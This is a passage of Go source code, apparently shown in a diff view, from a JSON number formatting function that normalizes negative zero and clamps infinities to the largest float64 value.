dst = append(dst, src[:n]...) // copy the number verbatim
return dst, n, nil
}
fv, _ := strconv.ParseFloat(string(src[:n]), 64)
switch {
case fv == 0:
fv = 0 // normalize negative zero as just zero
case math.IsInf(fv, +1):
fv = +math.MaxFloat64
case math.IsInf(fv, -1):
fv = -math.MaxFloat64
}
return AppendFloat(dst, fv, 64), n, nil
}
Loaded 100 of 828 files, more files were not shown because too many files have changed in this diff. Show more